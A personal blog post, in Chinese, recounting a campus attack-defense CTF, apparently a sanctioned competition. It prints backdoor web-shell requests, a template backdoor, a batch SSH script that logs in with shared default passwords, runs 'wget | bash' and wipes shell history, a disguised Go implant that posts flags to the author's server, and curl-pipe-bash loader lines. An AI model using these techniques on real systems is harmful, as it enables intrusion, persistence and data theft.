


# yllhwa's blog

 Focusing

[文章](#) [关于](#) [DN42](#) [友链](#) [RSS](#)

## 一次校内 AWD 简记

 2023-12-08

### 目录

#### 关卡一

- 基本利用
- session 泄露
- 数据库 flag
- 加强后门

#### 关卡二

- 批量 ssh 种马
- 升级小马
- 网站修复

先说下赛制，是校内打着玩儿的 AWD，一个周开放一个关卡。第一个是 eyoucms，第二个是奇怪的 php，看起来像是自己写的，第三个是 python ssti，最后一个没看（考研去了）。

单说技术含量上说感觉并没有，题目都比较基础。不过这次时间比较长，实践了一下之前的一些想法，值得记录一下。

## 关卡一

### 基本利用

根目录有个后门 404.php，直接利用。

先 cp 一份到 .404.php，防一部分没看到隐藏文件的。

再 cp 一份到 static/api/js/.404.php，防一部分懒得看静态文件夹的。

最后把 /flag 软链接到 static/api/js/link.js，这个大多数人都没发现。

```
# 复制 404.php 到 .404.php
res = requests.get(f'http://{ip}:{port}/404.php?M=system("cp 404.php .404.php");')
# 复制 404.php 到 static/api/js/.404.php
res = requests.get(f'http://{ip}:{port}/.404.php?M=system("cp 404.php static/api/js/.404.php");')
# 软链接 /flag 到 /var/www/html/static/api/js/link.js
res = requests.get(f'http://{ip}:{port}/.404.php?M=system("ln -s /flag static/api/js/link.js");')
```

好了，这一套连招下来基本可以了。不过后来复盘觉得这里还是写个加密马比较好，至少 md5 校验一下。后面很多队伍发现我们这套直接打我们放的后门了。

## session 泄露

后来又发现一个洞[前台 session 泄露](#)。其实按照题目的 eyoucms 版本没有这个洞，我总感觉不对劲，去把源码下下来 diff 了一下，发现出题人把修复给删了。

这个洞基本全能打，估计没人发现，不过后来有人利用后门把 index.php 删了（不是本人），本意估计是让别人宕机，结果我那个洞要用 index.php，歪打正着把我给防住了，郁闷。

打的过程中发现有人上了通防（watchbird），还把特殊字符都禁用了，很烦。

不过还是能打，前台 session 泄露拿到管理员权限之后把模板加一段后门。

```
{eyou:php}
$_GET[a]($_GET[b].$_GET[c])
{/eyou:php}
```

我是加在 mobile/footer.html 的，要 mobile UA 才会返回，而且在页面最下面。估计很多上了流量监控的人也纳闷我这个咋没打通，LOL。说到流量监控，为了防止我这套被发现，我还打了一堆垃圾流量过去，谨慎！

## 数据库 flag

我翻了翻进程发现还有个 mysql，而且数据库里面的 flag 和 /flag 里面的不一样，还是单独算分，难崩。直接用 shell dump 出来。

```
mysqldump -h127.0.0.1 -uroot -proot-toor --databases ctf
```

感觉是有个 sql 注入的点的，不过后来我们也学别人上了个 watchbird 通防（规则允许），就懒得找了，反正都能 dump 出来。

## 加强后门

每一轮跑脚本太累了，而且别人还可能修，很烦。我每次打 awd 都在想直接放个木马上去多好。但是不能是 .php 那种 webshell，别人一下就发现了。看了下进程列表好多 apache2，写个木马伪装成 apache2 多是件美事啊。于是拿 go 写了一个每分钟读取 /flag 和数据库里面的 flag，然后 POST 到我的服务器。这一套很爽，直接从服务器拿 flag 交完事儿。

## 关卡二

说实话我一开始是不知道还有关卡二的存在，所以关卡一把各种骚操作玩了一轮。

听说还有关卡二，我想试试另一个更逆天的。

## 批量 ssh 种马

考虑到每个人的初始账号密码一样（ctf, hust-ctf）。虽然提示了每个人改密码，不过他再快能比我脚本快？遂写了个批量脚本把上面说的木马种上。

```
import paramiko
import concurrent
from concurrent.futures import ThreadPoolExecutor
import time
from awd_platform.get_host import get_all_hosts_filter_port

timeout = 5
MAX_WORKERS = 50

USERNAME = "ctf"
PASSWORD = "hust-ctf"
NEW_PASSWORD = "PASSWORD"
```

```
TRY_CHANGE_PASSWORD = False
```

```
RUNNING_COMMANDS = [  
    # 小马  
    "wget -qO- {小马域名} | bash",  
    # 清空日志  
    "rm -f ~/.bash_history",  
]
```

```
class SSH_Client():  
    def __init__(self, host, port, username, password):  
        self.is_root = False  
        self.host = host  
        self.port = port  
        self.username = username  
        self.password = password  
        self.ssh = paramiko.SSHClient()  
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
        self.ssh.connect(self.host, self.port, self.username,  
                          self.password, timeout=timeout)  
  
    def exec_command(self, command):  
        stdin, stdout, stderr = self.ssh.exec_command(command)  
        return stdin, stdout, stderr  
  
    def change_password(self):  
        stdin, stdout, stderr = self.exec_command("passwd")  
        print("try change password")  
        if self.username != "root":  
            stdin.write(f"{self.password}\n")  
            stdin.write(f"{NEW_PASSWORD}\n")  
            stdin.write(f"{NEW_PASSWORD}\n")  
            stdout.read()  
            if "success" in stderr.read().decode('utf-8'):  
                self.password = NEW_PASSWORD  
                return True  
            else:  
                return False
```

```
def save_log(self, filename):
    with open(filename, "a+") as f:
        f.write("%s %s %s %s\n" %
                (self.host, self.port, self.username, self.password))

def get_info(self):
    return (self.host, self.port, self.username, self.password)

def run_all_commands(self):
    for command in RUNNING_COMMANDS:
        shell = self.ssh.invoke_shell()
        shell.send(command + "\n")
        time.sleep(1)

def single_ssh(host, port, username, password):
    try:
        ssh_client = SSH_Client(host, port, username, password)
        if TRY_CHANGE_PASSWORD == True:
            if ssh_client.change_password():
                print("[+] %s (Success!)" % host)
                ssh_client.save_log("success.log")
            else:
                return None

        ssh_client.run_all_commands()
        print("[+] %s (Success!)\r" % host)
        return ssh_client.get_info()
    except Exception as e:
        print("[-] %s (Failed!)\r" % host)
        return None
    finally:
        try:
            ssh_client.ssh.close()
        except:
            pass

def batch_ssh():
    print("[+] Start batch ssh")
```

```
hosts = get_all_hosts_filter_port(
    target_port=22, courseId=61, sectionID=665)
print("[+] Total %d hosts" % len(hosts))

pool = ThreadPoolExecutor(max_workers=MAX_WORKERS)

ssh_threads = []

for host in hosts:
    ip = host.get("ip")
    port = host.get("ports")[0][1]
    ssh_thread = pool.submit(single_ssh, ip, port, USERNAME, PASSWORD)
    ssh_threads.append(ssh_thread)

infos = []
for ssh_thread in concurrent.futures.as_completed(ssh_threads):
    info = ssh_thread.result()
    if info != None:
        infos.append(info)
return infos

if __name__ == "__main__":
    while True:
        print(batch_ssh())
        time.sleep(10)
```

这一套直接无解，关卡二我都懒得打，所有人的 shell 都在我这儿。

## 升级小马

之前的小马虽然能上报 flag，还是很多地方让人很不爽。比如有的洞我们是循环脚本在打，可能在别人机器上跑很多个木马，非常浪费。于是写了个锁，保证单实例运行。

```
var singleInstance *single.Single

func CheckSingleInstance() {
```

```
singleInstance, err := single.New("apache2")

if err != nil {
    os.Exit(1)
}

err = singleInstance.Lock()

if err != nil {
    os.Exit(1)
}

}

func RunSelfBackground() {
    if os.Getenv("APACHE2_BACKGROUND") == "1" {
        // 确保只有一个后台进程
        CheckSingleInstance()
        return
    }

    cmd := exec.Command(os.Args[0])
    cmd.Env = append(os.Environ(), "APACHE2_BACKGROUND=1")
    cmd.Start()
    os.Exit(0)
}
```

另外之前的马只能上报 flag，我还想偶尔拿 shell 玩玩，于是拿 websocket 搓了个批量管理的 shell。

最后大概长这样：

上线主机 (35)		提交时间	shell
主机名	flag1		
eb0989eaf299	awd{SPPx1pfKz0HCdaMm7P2UE4Wn1p9cKxbQ}	12月08日 15:49:45 (过期)	shell
9f0843a4f0c9	awd{DG1BW6DACvE52IU4kPuVjh0U16WtaWim}	12月08日 16:50:45 (过期)	shell
88d7077bc9cf	awd{XwF44Eh4im5OuFJA3G1sKejszo0Gis7}	12月08日 17:18:28	shell
1ef3202d4c9c	AWD{TEST_FLAG}	12月07日 21:23:43 (过期)	shell
8d3661bf9d9b	awd{p8TZs1xf6nJ2rRQMPgS8FQHMH6ALGxhr}	12月08日 17:17:58	shell
5d248e255672	awd{1cVAFD1N3EXIaGBcFUK4ySQ0df0kJHL0}	12月08日 17:18:25	shell
10a1750dcd15	awd{R8w4gN94G53RY0o6TgYCXQqPFL6cysHJ}	12月08日 17:18:00	shell
6f9706b645d6	awd{D0K350RdXjNeA9OuwmqozP6b62FYwkOV}	12月08日 17:18:25	shell
f1b3fbf8c66f	awd{fdJAUyO4H2Hov6NH2FHSFBqR8rcHoiGR}	12月08日 15:48:33 (过期)	shell
583dcd700ff4	awd{DbW3o5ddcPk7oEp6ZUBqBNOSPc0WP1zB}	12月08日 14:49:01 (过期)	shell
bcbfa0648159	awd{vAkcl30G1jkaE00zKu556qQWsaXNofuS}	12月08日 16:47:13 (过期)	shell
d0a3338c0417	awd{CZiVAFEBfucHRQ35zcCYKMiQ8C7A0aFI}	12月08日 15:58:05 (过期)	shell
6b430f33e03a	awd{gUyHbpKKJnSGqp9dkZugoSK3pfscH4kc}	12月08日 17:18:12	shell
57043e9a8da1	awd{LvCL9EvuVQ50u3E0E7zg3OMnyj5xhmYN}	12月08日 17:17:41	shell
9be58579f133	awd{DLOx09hVuJ1TxbQAqgm06Svk2JNa1zfY}	12月07日 21:18:11 (过期)	shell
8c23cc42e6e6	awd{8CsVqY95ow07YeCaJrx2BwjEHT1y900J}	12月08日 17:18:25	shell
7fdfe28ac159	awd{6FQeaYJV4rPSbcI5CyOsvVrUw4vpFZP6}	12月08日 17:17:29	shell
83b5114978fc	awd{SOIe7KABq0y6TTaQRhPyG4tzNGWJtcz}	12月08日 17:18:23	shell
7b28dc1ef10b	awd{QgZiA0nkLiJXSCIndIuadIN61svMROyh}	12月08日 17:18:09	shell
3750a8cd88f2	awd{8nXXGiEGUYU4Q4z2dcKlMgaX2MLN2aPH}	12月08日 17:18:07	shell
c539ebd229e5	awd{YX9pmb6MA1AMLE07im0kIMNCHNK6TwwCK}	12月08日 17:17:36	shell
1571c9e06c3a	awd{dYslWpHGis02Ka11asi4NlyAomj6TTTzN}	12月08日 17:18:16	shell
0520b6eaa42d	awd{qodt1yvOyJ80k1HDKKhJTxioXhs79DR}	12月08日 17:17:47	shell
f718a4dc0c5f	AWD{TEST_FLAG}	12月07日 21:02:32 (过期)	shell
7451f3c6e8ad	awd{NgGtveR6Y4TiQiFercxvgpK5rNlyuInR6}	12月08日 15:50:35 (过期)	shell

f718a4dc0c5f	AWD{TEST_FLAG}		12月07日 21:02:32 (过期)	shell
7451f3c6e8ad	awd{NgGtveR6Y4TiqiFExcvgpK5rNyulnR6}		12月08日 15:50:35 (过期)	shell
0291310c1f66	awd{SH1bJDwGXhAWskb1CpfpEVeJIHm7dILG}		12月08日 17:18:43	shell
9319c647efa3	awd{0uBgZGtiXHyspTkseE2g4fuZbchK4Ide}		12月08日 17:18:52	shell
64193ddca417	awd{1JfooUCkLUpHw81sC3qwKzW8aNN5h0R4}		12月08日 15:39:58 (过期)	shell
6c4c519e4ef3	awd{IATAFvXyIde0E1AiAgtGJIOfpjI159nZ}		12月08日 16:00:47 (过期)	shell
97f9341af92f	AWD{TEST_FLAG}		12月08日 16:17:10 (过期)	shell
ca3756d7b426	awd{07E8oTi5EUC3H1L28Rx69agaFUqt7i0D}	awd{1Ge5G77cKrjIMt2rF7prJQ38tUqy0VUJ}	12月08日 17:18:13	shell
3d31d0c1c31c	AWD{TEST_FLAG}		12月08日 16:20:05 (过期)	shell
c0954ddfd9390	AWD{TEST_FLAG}		12月08日 17:18:25	shell
dffffc9c10b9	awd{FkkCfffgSMAIa2cdIT6v95YSepgGhKg0}	awd{AwHly6vgYxTLsHj3krzkQP6gH4NgELQhw}	12月08日 17:18:30	shell
ce2d5d5f187a	awd{97hBhIH097KJiEX73EV01RelcS5BuKpL}		12月08日 17:18:05	shell

上线方法: curl | bash

上次刷新时间: 12月08日 17:19:05

```
ls
nginx.pid  wget-log  wget-log.1
jaruser@7fdfe28ac159:~$ pwd
/home/jaruser
jaruser@7fdfe28ac159:~$ id
uid=1000(jaruser) gid=1000(jaruser) groups=1000(jaruser)
jaruser@7fdfe28ac159:~$ _
```

好，有被爽到。

小马的上线步骤：

```
> curl xxx.com/script | bash
wget xxx.com/nginx -O /var/tmp/nginx -o /dev/null && chmod +x /var/tmp/nginx && nohup /var/tmp/i
```

## 网站修复

网站里面的洞都是 D 盾 一扫就扫到了，想修一下，结果网站所有内容都是 root 权限的，我简单看了下，应该是没法提权。结果发现 nginx 是 ctf 用户的权限，那简单了，直接把网站移个位置，换个 nginx.conf 启动完事儿。

```
/usr/local/nginx/sbin/nginx -c /home/jaruser/configs/nginx.conf
```

还有一份当时准备发课程群里的教程（别人修了更好，反正我靠后门拿分，根本不用打）。

1. 首先将/opt/wwwphp移动到/home/jaruser下
2. 在/home/jaruser下创建configs文件夹，内部示例如下。
3. 使用/usr/local/nginx/sbin/nginx -s stop 指令将 nginx 停机
4. 使用命令/usr/local/nginx/sbin/nginx -c /home/jaruser/configs/nginx.conf重新启动nginx

有疑问或评论欢迎发送邮件到 [comment@yllhwa.com](mailto:comment@yllhwa.com)